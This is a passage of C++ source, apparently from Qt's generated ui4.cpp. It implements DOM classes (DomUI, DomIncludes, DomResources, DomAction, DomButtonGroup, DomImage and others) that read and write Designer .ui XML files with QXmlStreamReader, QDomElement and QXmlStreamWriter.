m_children |= Resources;
m_resources = a;
}
DomConnections* DomUI::takeElementConnections()
{
DomConnections* a = m_connections;
m_connections = 0;
m_children ^= Connections;
return a;
}
void DomUI::setElementConnections(DomConnections* a)
{
delete m_connections;
m_children |= Connections;
m_connections = a;
}
DomDesignerData* DomUI::takeElementDesignerdata()
{
DomDesignerData* a = m_designerdata;
m_designerdata = 0;
m_children ^= Designerdata;
return a;
}
void DomUI::setElementDesignerdata(DomDesignerData* a)
{
delete m_designerdata;
m_children |= Designerdata;
m_designerdata = a;
}
DomSlots* DomUI::takeElementSlots()
{
DomSlots* a = m_slots;
m_slots = 0;
m_children ^= Slots;
return a;
}
void DomUI::setElementSlots(DomSlots* a)
{
delete m_slots;
m_children |= Slots;
m_slots = a;
}
DomButtonGroups* DomUI::takeElementButtonGroups()
{
DomButtonGroups* a = m_buttonGroups;
m_buttonGroups = 0;
m_children ^= ButtonGroups;
return a;
}
void DomUI::setElementButtonGroups(DomButtonGroups* a)
{
delete m_buttonGroups;
m_children |= ButtonGroups;
m_buttonGroups = a;
}
void DomUI::clearElementAuthor()
{
m_children &= ~Author;
}
void DomUI::clearElementComment()
{
m_children &= ~Comment;
}
void DomUI::clearElementExportMacro()
{
m_children &= ~ExportMacro;
}
void DomUI::clearElementClass()
{
m_children &= ~Class;
}
void DomUI::clearElementWidget()
{
delete m_widget;
m_widget = 0;
m_children &= ~Widget;
}
void DomUI::clearElementLayoutDefault()
{
delete m_layoutDefault;
m_layoutDefault = 0;
m_children &= ~LayoutDefault;
}
void DomUI::clearElementLayoutFunction()
{
delete m_layoutFunction;
m_layoutFunction = 0;
m_children &= ~LayoutFunction;
}
void DomUI::clearElementPixmapFunction()
{
m_children &= ~PixmapFunction;
}
void DomUI::clearElementCustomWidgets()
{
delete m_customWidgets;
m_customWidgets = 0;
m_children &= ~CustomWidgets;
}
void DomUI::clearElementTabStops()
{
delete m_tabStops;
m_tabStops = 0;
m_children &= ~TabStops;
}
void DomUI::clearElementImages()
{
delete m_images;
m_images = 0;
m_children &= ~Images;
}
void DomUI::clearElementIncludes()
{
delete m_includes;
m_includes = 0;
m_children &= ~Includes;
}
void DomUI::clearElementResources()
{
delete m_resources;
m_resources = 0;
m_children &= ~Resources;
}
void DomUI::clearElementConnections()
{
delete m_connections;
m_connections = 0;
m_children &= ~Connections;
}
void DomUI::clearElementDesignerdata()
{
delete m_designerdata;
m_designerdata = 0;
m_children &= ~Designerdata;
}
void DomUI::clearElementSlots()
{
delete m_slots;
m_slots = 0;
m_children &= ~Slots;
}
void DomUI::clearElementButtonGroups()
{
delete m_buttonGroups;
m_buttonGroups = 0;
m_children &= ~ButtonGroups;
}
void DomIncludes::clear(bool clear_all)
{
qDeleteAll(m_include);
m_include.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomIncludes::DomIncludes()
{
m_children = 0;
}
DomIncludes::~DomIncludes()
{
qDeleteAll(m_include);
m_include.clear();
}
void DomIncludes::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("include")) {
DomInclude *v = new DomInclude();
v->read(reader);
m_include.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomIncludes::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("include")) {
DomInclude *v = new DomInclude();
v->read(e);
m_include.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomIncludes::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("includes") : tagName.toLower());
for (int i = 0; i < m_include.size(); ++i) {
DomInclude* v = m_include[i];
v->write(writer, QLatin1String("include"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomIncludes::setElementInclude(const QList<DomInclude*>& a)
{
m_children |= Include;
m_include = a;
}
void DomInclude::clear(bool clear_all)
{
if (clear_all) {
m_text = QLatin1String("");
m_has_attr_location = false;
m_has_attr_impldecl = false;
}
m_children = 0;
}
DomInclude::DomInclude()
{
m_children = 0;
m_has_attr_location = false;
m_has_attr_impldecl = false;
m_text = QLatin1String("");
}
DomInclude::~DomInclude()
{
}
void DomInclude::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("location")) {
setAttributeLocation(attribute.value().toString());
continue;
}
if (name == QLatin1String("impldecl")) {
setAttributeImpldecl(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomInclude::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("location")))
setAttributeLocation(node.attribute(QLatin1String("location")));
if (node.hasAttribute(QLatin1String("impldecl")))
setAttributeImpldecl(node.attribute(QLatin1String("impldecl")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text = QLatin1String("");
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomInclude::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("include") : tagName.toLower());
if (hasAttributeLocation())
writer.writeAttribute(QLatin1String("location"), attributeLocation());
if (hasAttributeImpldecl())
writer.writeAttribute(QLatin1String("impldecl"), attributeImpldecl());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomResources::clear(bool clear_all)
{
qDeleteAll(m_include);
m_include.clear();
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
}
m_children = 0;
}
DomResources::DomResources()
{
m_children = 0;
m_has_attr_name = false;
}
DomResources::~DomResources()
{
qDeleteAll(m_include);
m_include.clear();
}
void DomResources::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("include")) {
DomResource *v = new DomResource();
v->read(reader);
m_include.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomResources::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("include")) {
DomResource *v = new DomResource();
v->read(e);
m_include.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomResources::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("resources") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
for (int i = 0; i < m_include.size(); ++i) {
DomResource* v = m_include[i];
v->write(writer, QLatin1String("include"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomResources::setElementInclude(const QList<DomResource*>& a)
{
m_children |= Include;
m_include = a;
}
void DomResource::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_location = false;
}
m_children = 0;
}
DomResource::DomResource()
{
m_children = 0;
m_has_attr_location = false;
}
DomResource::~DomResource()
{
}
void DomResource::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("location")) {
setAttributeLocation(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomResource::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("location")))
setAttributeLocation(node.attribute(QLatin1String("location")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomResource::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("resource") : tagName.toLower());
if (hasAttributeLocation())
writer.writeAttribute(QLatin1String("location"), attributeLocation());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomActionGroup::clear(bool clear_all)
{
qDeleteAll(m_action);
m_action.clear();
qDeleteAll(m_actionGroup);
m_actionGroup.clear();
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
}
m_children = 0;
}
DomActionGroup::DomActionGroup()
{
m_children = 0;
m_has_attr_name = false;
}
DomActionGroup::~DomActionGroup()
{
qDeleteAll(m_action);
m_action.clear();
qDeleteAll(m_actionGroup);
m_actionGroup.clear();
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
}
void DomActionGroup::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("action")) {
DomAction *v = new DomAction();
v->read(reader);
m_action.append(v);
continue;
}
if (tag == QLatin1String("actiongroup")) {
DomActionGroup *v = new DomActionGroup();
v->read(reader);
m_actionGroup.append(v);
continue;
}
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_attribute.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomActionGroup::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("action")) {
DomAction *v = new DomAction();
v->read(e);
m_action.append(v);
continue;
}
if (tag == QLatin1String("actiongroup")) {
DomActionGroup *v = new DomActionGroup();
v->read(e);
m_actionGroup.append(v);
continue;
}
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(e);
m_attribute.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomActionGroup::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("actiongroup") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
for (int i = 0; i < m_action.size(); ++i) {
DomAction* v = m_action[i];
v->write(writer, QLatin1String("action"));
}
for (int i = 0; i < m_actionGroup.size(); ++i) {
DomActionGroup* v = m_actionGroup[i];
v->write(writer, QLatin1String("actiongroup"));
}
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
for (int i = 0; i < m_attribute.size(); ++i) {
DomProperty* v = m_attribute[i];
v->write(writer, QLatin1String("attribute"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomActionGroup::setElementAction(const QList<DomAction*>& a)
{
m_children |= Action;
m_action = a;
}
void DomActionGroup::setElementActionGroup(const QList<DomActionGroup*>& a)
{
m_children |= ActionGroup;
m_actionGroup = a;
}
void DomActionGroup::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomActionGroup::setElementAttribute(const QList<DomProperty*>& a)
{
m_children |= Attribute;
m_attribute = a;
}
void DomAction::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
m_has_attr_menu = false;
}
m_children = 0;
}
DomAction::DomAction()
{
m_children = 0;
m_has_attr_name = false;
m_has_attr_menu = false;
}
DomAction::~DomAction()
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
}
void DomAction::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
if (name == QLatin1String("menu")) {
setAttributeMenu(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_attribute.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomAction::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
if (node.hasAttribute(QLatin1String("menu")))
setAttributeMenu(node.attribute(QLatin1String("menu")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(e);
m_attribute.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomAction::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("action") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
if (hasAttributeMenu())
writer.writeAttribute(QLatin1String("menu"), attributeMenu());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
for (int i = 0; i < m_attribute.size(); ++i) {
DomProperty* v = m_attribute[i];
v->write(writer, QLatin1String("attribute"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomAction::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomAction::setElementAttribute(const QList<DomProperty*>& a)
{
m_children |= Attribute;
m_attribute = a;
}
void DomActionRef::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
}
m_children = 0;
}
DomActionRef::DomActionRef()
{
m_children = 0;
m_has_attr_name = false;
}
DomActionRef::~DomActionRef()
{
}
void DomActionRef::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomActionRef::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomActionRef::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("actionref") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomButtonGroup::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
}
m_children = 0;
}
DomButtonGroup::DomButtonGroup()
{
m_children = 0;
m_has_attr_name = false;
}
DomButtonGroup::~DomButtonGroup()
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
}
void DomButtonGroup::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_attribute.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomButtonGroup::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(e);
m_attribute.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomButtonGroup::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("buttongroup") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
for (int i = 0; i < m_attribute.size(); ++i) {
DomProperty* v = m_attribute[i];
v->write(writer, QLatin1String("attribute"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomButtonGroup::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomButtonGroup::setElementAttribute(const QList<DomProperty*>& a)
{
m_children |= Attribute;
m_attribute = a;
}
void DomButtonGroups::clear(bool clear_all)
{
qDeleteAll(m_buttonGroup);
m_buttonGroup.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomButtonGroups::DomButtonGroups()
{
m_children = 0;
}
DomButtonGroups::~DomButtonGroups()
{
qDeleteAll(m_buttonGroup);
m_buttonGroup.clear();
}
void DomButtonGroups::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("buttongroup")) {
DomButtonGroup *v = new DomButtonGroup();
v->read(reader);
m_buttonGroup.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomButtonGroups::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("buttongroup")) {
DomButtonGroup *v = new DomButtonGroup();
v->read(e);
m_buttonGroup.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomButtonGroups::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("buttongroups") : tagName.toLower());
for (int i = 0; i < m_buttonGroup.size(); ++i) {
DomButtonGroup* v = m_buttonGroup[i];
v->write(writer, QLatin1String("buttongroup"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomButtonGroups::setElementButtonGroup(const QList<DomButtonGroup*>& a)
{
m_children |= ButtonGroup;
m_buttonGroup = a;
}
void DomImages::clear(bool clear_all)
{
qDeleteAll(m_image);
m_image.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomImages::DomImages()
{
m_children = 0;
}
DomImages::~DomImages()
{
qDeleteAll(m_image);
m_image.clear();
}
void DomImages::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("image")) {
DomImage *v = new DomImage();
v->read(reader);
m_image.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomImages::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("image")) {
DomImage *v = new DomImage();
v->read(e);
m_image.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomImages::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("images") : tagName.toLower());
for (int i = 0; i < m_image.size(); ++i) {
DomImage* v = m_image[i];
v->write(writer, QLatin1String("image"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomImages::setElementImage(const QList<DomImage*>& a)
{
m_children |= Image;
m_image = a;
}
void DomImage::clear(bool clear_all)
{
delete m_data;
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
}
m_children = 0;
m_data = 0;
}
DomImage::DomImage()
{
m_children = 0;
m_has_attr_name = false;
m_data = 0;
}
DomImage::~DomImage()
{
delete m_data;
}
void DomImage::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("data")) {
DomImageData *v = new DomImageData();
v->read(reader);
setElementData(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomImage::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("data")) {
DomImageData *v = new DomImageData();
v->read(e);
setElementData(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomImage::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("image") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
if (m_children & Data) {
m_data->write(writer, QLatin1String("data"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomImageData* DomImage::takeElementData()
{
DomImageData* a = m_data;
m_data = 0;
m_children ^= Data;
return a;
}
void DomImage::setElementData(DomImageData* a)
{
delete m_data;
m_children |= Data;
m_data = a;
}
void DomImage::clearElementData()
{
delete m_data;
m_data = 0;
m_children &= ~Data;
}
void DomImageData::clear(bool clear_all)
{
if (clear_all) {
m_text = QLatin1String("");
m_has_attr_format = false;
m_has_attr_length = false;
m_attr_length = 0;
}
m_children = 0;
}
DomImageData::DomImageData()
{
m_children = 0;
m_has_attr_format = false;
m_has_attr_length = false;
m_attr_length = 0;
m_text = QLatin1String("");
}
DomImageData::~DomImageData()
{
}
void DomImageData::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("format")) {
setAttributeFormat(attribute.value().toString());
continue;
}
if (name == QLatin1String("length")) {
setAttributeLength(attribute.value().toString().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomImageData::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("format")))
setAttributeFormat(node.attribute(QLatin1String("format")));
if (node.hasAttribute(QLatin1String("length")))
setAttributeLength(node.attribute(QLatin1String("length")).toInt());
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
